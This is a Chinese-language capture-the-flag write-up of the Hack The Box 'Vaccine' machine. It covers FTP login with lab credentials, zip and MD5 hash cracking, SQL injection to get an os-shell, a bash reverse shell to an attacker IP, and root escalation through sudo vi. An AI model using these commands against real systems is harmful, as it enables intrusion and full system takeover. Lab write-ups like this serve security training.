Hack the box vaccine

上一台靶机的线索FTP账号 ftpuser/mc@F1l3ZilL4
1.日常nmap -sC -sV 10.10.10.46，开放21，22，80端口
2.结合上一台靶机拿到的FTP账号，密码，登录FTP服务器，dir看到backup.zip，拿到备份文件
3.解密，用kali里面的john 先用zip2john backup.zip>hash //生成hash值，解密效率更高
john hash --fork=4 -w /usr/share/wordlists/rockyou.txt 2>/dev/null //解密john文件 --fork指定线程数 -w指定字典 rockyou.txt是kali自带的大字典
//2>/dev/null不输出错误
得到密码：741852963
4.解密zip文件，审计index.php文件，拿到admin用户密码md5值2cb42f8734ea607eefed3b70af13bbd3，cmd5网站解密qwerty789
5.访问网页，直接进到登陆页面，admin/qwerty789，进到dashboard.php，搜索框里面随便搜，发现带了search参数
6.考虑sql注入，注意：这里不能直接拿url跑，而是要burp抓包跑，因为会检测referer头，检测出数据库版本，加os-shell拿到数据库用户shell
7.反弹shell到本地
bash -c ‘bash -i >& /dev/tcp/10.10.16.9/1234 0>&1’
关于这条指令的理解可以看 https://blog.csdn.net/weixin_43486390/article/details/111385962
8.本地拿到是非交互式shell，非常不稳定，可能执行不了几条指令就没了，需要转换成交互式shell
常规操作：python3 -c “import pty;pty.spawn(’/bin/bash’)”
9.拿到交互shell后，由于这题是没有用户flag的，题目已经标明了，所以直接提权拿root flag，由于执行sudo -l命令需要提前拿到用户密码
所以到数据库连接里面去找。去找dashboard这种带搜索功能的，果然拿到用户密码P@s5w0rd!
10.拿到用户密码后sudo -l查看用户可以越权执行的操作
发现/bin/vi /etc/postgresql/11/main/pg_hba.conf
当前数据库用户可以越权编辑pg_hba.conf
11.sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf,输入用户密码，越权后再vi命令行输入:!/bin/bash标识用bin/bash脚本来执行当前程序，由于是用root权限执行的vi
操作，当然拿到的是root shell，拿到flag
参考操作视频：https://www.bilibili.com/video/BV1kq4y1s7HT/